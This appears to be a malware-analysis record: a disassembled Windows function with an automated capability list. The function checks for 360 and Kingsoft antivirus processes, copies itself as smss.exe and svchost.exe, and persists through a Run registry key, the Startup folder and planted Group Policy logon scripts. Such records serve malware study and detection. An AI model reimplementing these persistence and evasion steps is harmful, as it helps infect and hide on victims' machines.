Function at 0x40f620
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Check os version
Copy file
Create thread
Delete file
Get common file path
Get file attributes
Move file
Terminate process
Write file on windows

Disassembly:
mov eax, 0x15360
call fcn.00418b60
push ebx
lea eax, [esp + 0x648]
push esi
push eax
mov dword [esp + 0x650], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x650], 6
je 0x40f69b
lea ecx, [esp + 0x12c8]
push 0x3e7
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [esp + 0x12c8]
lea eax, [esp + 0xd88]
push edx
push str._sSysTEM32_sysedit.exe
push eax
call dword [0x42e208]
add esp, 0xc
lea ecx, [esp + 0xd88]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40f69b
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [0x42e238]
xor ebx, ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [0x42e230]
push ebx
push ebx
lea edx, [esp + 0x32c]
push ebx
push edx
call dword [0x42e20c]
mov eax, dword [0x42f194]
push str.AAAAAA
push eax
call fcn.00405570
mov esi, eax
add esp, 8
cmp esi, ebx
jne 0x40f6eb
pop esi
or eax, 0xffffffff
pop ebx
add esp, 0x15360
ret 0x10
mov ecx, dword [0x42f194]
push str.CCCCCC
push ecx
call fcn.00405570
push eax
push esi
lea edx, [esp + 0xc08]
push str._s_s
push edx
call fcn.00419308
add esp, 0x18
lea eax, [esp + 0xbf8]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40f740
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebp
push edi
call fcn.0040eff0
test al, al
jne 0x40f76f
call fcn.0040f080
test al, al
jne 0x40f76f
push ebx
push ebx
push ebx
push 0x40f300
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
jmp 0x40f775
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push ebx
push 0x210fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push esi
call edi
mov ecx, dword [0x42f194]
push str.SSSSSS
push ecx
call fcn.00405570
add esp, 8
test eax, eax
je 0x40f9ed
push str.360tray.exe
call fcn.00410cb0
add esp, 4
test eax, eax
jne 0x40faa9
push str.exe.yartsR
call fcn.00421ea0
push eax
call fcn.00410cb0
add esp, 8
test eax, eax
jne 0x40f941
push str.KSafeTray.exe
call fcn.00410cb0
add esp, 4
test eax, eax
jne 0x40f941
mov ecx, 5
mov esi, str.C:WINDOWS_smss.exe
lea edi, [esp + 0x228]
lea edx, [esp + 0x124]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x3c
lea edi, [esp + 0x23c]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x124]
push 0x104
push edx
rep stosd dword es:[edi], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x428c80
call fcn.00410cb0
mov ebp, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 4
test eax, eax
jne 0x40f8f2
lea eax, [esp + 0x228]
push 1
lea ecx, [esp + 0x128]
push eax
push ecx
call ebp
mov ecx, 0xb
mov esi, str.nuR_noisreVtnerruC_swodniW_tfosorciMerawtfoS
lea edi, [esp + 0xd90]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xf4
lea edi, [esp + 0xdbe]
rep stosd dword es:[edi], eax
lea edx, [esp + 0x228]
push ebx
push edx
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [esp + 0x230]
push eax
push 1
lea ecx, [esp + 0xda0]
push str.Ball
push ecx
call fcn.00421ea0
add esp, 4
push eax
push 0x80000001
call fcn.0040aba0
lea edx, [esp + 0x124]
add esp, 0x1c
push 1
push str.C:Documents_and_SettingsAll_Users_
push edx
call ebp
push 1
lea eax, [esp + 0x128]
push str.C:Documents_and_SettingsAll_UsersStart_MenuProgramsStartup_smss.exe
push eax
call ebp
push 1
lea ecx, [esp + 0x128]
push str.C:WINDOWS_tempzk.exe
push ecx
call ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call ebp
push str.C:WINDOWS_tempzk.exe
call fcn.0040ef70
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
add esp, 4
push 4
push str.C:Documents_and_SettingsAll_Users_
push str.C:WINDOWS_tempzk.exe
call esi
push 4
push str.C:Documents_and_SettingsAll_UsersStart_MenuProgramsStartup_smss.exe
push str.C:WINDOWS_tempzk.exe
call esi
jmp 0x40f9f3
push str.exe.yartsR
call fcn.00421ea0
push eax
call fcn.00410cb0
add esp, 8
test eax, eax
je 0x40f976
push ebx
push ebx
push ebx
push 0x40ecb0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call edi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x44c]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x44c]
push 0x104
push edx
rep stosd dword es:[edi], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 1
lea eax, [esp + 0x450]
push str.C:WINDOWS_tempzk.exe
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.C:WINDOWS_tempzk.exe
call fcn.0040ef70
add esp, 4
push 4
push str.C:Documents_and_SettingsAll_Users_
push str.C:WINDOWS_tempzk.exe
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x4295f0
push ebx
call dword [0x42e234]
push ebx
push ebx
push 0x10
push eax
call dword [0x42e22c]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
call dword [0x42e228]
push 0x2000000
push ebx
push str.winsta0
call dword [0x42e224]
cmp eax, ebx
je 0x40fa15
push eax
call dword [0x42e220]
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
lea ecx, [esp + 0x34]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x24], ebx
call fcn.00401b50
lea ecx, [esp + 0x34]
push ecx
lea ecx, [esp + 0xb518]
call fcn.00409b50
lea ecx, [esp + 0xb514]
call fcn.00409b80
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventA]
mov byte [esp + 0x13], 0
mov al, byte [esp + 0x13]
test al, al
je 0x40fe83
cmp al, 3
je 0x40fe83
xor edi, edi
lea edx, [esp + 0xf0]
push edx
push 0
push 0x1f0003
call ebx
mov esi, eax
test esi, esi
jne 0x40fe73
push 0x3c
call ebp
inc edi
cmp edi, 0x3e8
jl 0x40fa7c
jmp 0x40fe83
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x8f8]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x8fc]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 1
lea edx, [esp + 0x8fc]
push str.C:WINDOWSTEMP_svchost.exe
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.C:WINDOWS_system32GroupPolicy
call fcn.00422004
push str.C:WINDOWS_system32GroupPolicyuser
call fcn.00422004
push str.C:WINDOWS_system32GroupPolicyuserScripts
call fcn.00422004
push str.C:WINDOWS_system32GroupPolicyuserScriptsStartup
call fcn.00422004
push str.C:WINDOWS_system32GroupPolicyuserScriptsShutdown
call fcn.00422004
add esp, 0x14
push ebx
push 0x80
push 2
push ebx
push 1
push 0xc0000000
push str.C:WINDOWS_system32GroupPolicygpt.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [0x4297d8]
mov edx, dword [0x4297dc]
mov ebx, eax
mov eax, dword [str._General__r_n]
mov dword [esp + 0x550], eax
mov dword [esp + 0x554], ecx
mov ecx, 0x3e
xor eax, eax
lea edi, [esp + 0x55c]
mov dword [esp + 0x558], edx
rep stosd dword es:[edi], eax
push eax
lea eax, [esp + 0x20]
push eax
lea edi, [esp + 0x558]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
dec ecx
push ecx
lea ecx, [esp + 0x55c]
push ecx
push ebx
call ebp
mov ecx, 7
mov esi, str.gPCFunctionalityVersion2_r_n
lea edi, [esp + 0x6f0]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x3a
lea edi, [esp + 0x70c]
rep stosd dword es:[edi], eax
lea edi, [esp + 0x6f0]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea edx, [esp + 0x1c]
push eax
dec ecx
push edx
lea eax, [esp + 0x6f8]
push ecx
push eax
push ebx
call ebp
mov ecx, 0x19
mov esi, str.gPCUserExtensionNames_42B5FAAE_6536_11D2_AE5A_0000F87571E340B66650_4972_11D1_A7CA_0000F87571E3__r_n
lea edi, [esp + 0x7f4]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x27
lea edi, [esp + 0x85b]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x1c]
push 0
stosb byte es:[edi], al
push ecx
lea edi, [esp + 0x7fc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x7fc]
push ecx
push edx
push ebx
call ebp
mov eax, dword [str.Version65536]
mov ecx, dword [0x429744]
mov edx, dword [0x429748]
mov dword [esp + 0x124], eax
mov ax, word [0x42974c]
mov dword [esp + 0x128], ecx
mov word [esp + 0x130], ax
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x132]
mov dword [esp + 0x12c], edx
push 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x20]
lea edx, [esp + 0x128]
stosw word es:[edi], ax
push ecx
lea edi, [esp + 0x12c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push ebx
call ebp
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push str.C:WINDOWS_system32GroupPolicyuserScripts_script.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [0x429700]
mov dx, word [0x429704]
mov ebx, eax
mov eax, dword [str._Logon__r_n]
mov dword [esp + 0x228], eax
mov dword [esp + 0x22c], ecx
mov ecx, 0x3e
xor eax, eax
lea edi, [esp + 0x232]
mov word [esp + 0x230], dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x28]
push 0
push eax
or ecx, 0xffffffff
lea edi, [esp + 0x230]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x234]
push ecx
push ebx
call ebp
mov ecx, 9
mov esi, str.0CmdLineC:windows_temp_svchost.exe_r_n
lea edi, [esp + 0x44c]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x37
lea edi, [esp + 0x473]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea edi, [esp + 0x44c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x28]
repne scasb al, byte es:[edi]
not ecx
push 0
dec ecx
push edx
lea eax, [esp + 0x454]
push ecx
push eax
push ebx
call ebp
mov ecx, dword [str.0Parametersstart]
mov edx, dword [0x4296c4]
mov eax, dword [0x4296c8]
mov dword [esp + 0x348], ecx
mov ecx, dword [0x4296cc]
mov dword [esp + 0x34c], edx
mov dx, word [0x4296d0]
mov dword [esp + 0x350], eax
mov dword [esp + 0x354], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x35a]
mov word [esp + 0x358], dx
push 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x2c]
lea edi, [esp + 0x34c]
push eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x354]
push ecx
push ebx
call ebp
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xe
mov esi, str.C:WINDOWS_system32GroupPolicyuserScripts_scripts.ini
lea edi, [esp + 0x9fc]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x32
lea edi, [esp + 0xa35]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x1190]
stosb byte es:[edi], al
push edx
lea eax, [esp + 0xa00]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x40fe43
push str.C:WINDOWS_system32GroupPolicyuserScripts_scripts.ini
push str.C:WINDOWS_system32GroupPolicyuserScripts_script.ini
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x40fe4e
push str.C:WINDOWS_system32GroupPolicyuserScripts_script.ini
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0
push 0
push 0x40edc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
jmp 0x40f9f3
lea ecx, [esp + 0x34]
call fcn.00402500
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x42f194]
push str.AAAAAA
push eax
call fcn.00405570
add esp, 8
lea ecx, [esp + 0x24]
lea edx, [esp + 0x30]
add eax, 6
push ecx
push edx
lea ecx, [esp + 0x28]
lea edx, [esp + 0x34]
push ecx
push edx
lea ecx, [esp + 0x24]
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.0040e1c0
add esp, 4
push eax
call fcn.0040e340
add esp, 0x1c
test al, al
jne 0x40fed7
mov byte [esp + 0x13], 1
jmp 0x40fa66
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x40fef3
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x30]
push ecx
mov ecx, dword [esp + 0x24]
push edx
push ecx
push eax
push 5
jmp 0x40ff00
push 0
push 0
push 0x438
push 0
push 0
lea ecx, [esp + 0x48]
call fcn.004027c0
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov edx, dword [esp + 0x14]
mov esi, eax
mov eax, dword [esp + 0x18]
push edx
push eax
lea ecx, [esp + 0x3c]
call fcn.00401d10
test al, al
jne 0x40ff34
mov byte [esp + 0x13], 2
jmp 0x40fa66
call edi
sub eax, esi
lea ecx, [esp + 0x34]
push eax
lea edx, [esp + 0xb04]
push ecx
push edx
call fcn.0040ea80
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
add esp, 0xc
lea edx, [esp + 0xf0]
push eax
mov eax, dword [esp + 0x24]
push ecx
push edx
lea ecx, [esp + 0xb0c]
push eax
lea edx, [esp + 0x44]
push ecx
push edx
lea ecx, [esp + 0x16d0]
call fcn.00409ab0
lea eax, [esp + 0x16b8]
lea ecx, [esp + 0x34]
push eax
call fcn.004027b0
xor esi, esi
lea ecx, [esp + 0x16b8]
call fcn.0040a320
test al, al
jne 0x40ffae
push 0x3e8
call ebp
inc esi
cmp esi, 0x14
jl 0x40ff91
lea ecx, [esp + 0x16b8]
call fcn.0040a320
test al, al
jne 0x40ffcf
lea ecx, [esp + 0x16b8]
call fcn.00409cb0
jmp 0x40fa66
call edi
lea ecx, [esp + 0xf0]
push ecx
push 0
push 0x1f0003
call ebx
push 0x64
mov esi, eax
mov edx, dword [esp + 0xe4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x1f4
mov edi, eax
call ebp
test esi, esi
jne 0x410016
test edi, edi
jne 0x40ffd1
lea ecx, [esp + 0x16b8]
call fcn.00409cb0
jmp 0x40fa66
lea ecx, [esp + 0x34]
call fcn.00402500
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
lea ecx, [esp + 0x16b8]
call fcn.00409cb0
push 0
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
call esi
lea ecx, [esp + 0xb514]
call fcn.00409cb0
lea ecx, [esp + 0x34]
call fcn.00401c50
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x15360
ret 0x10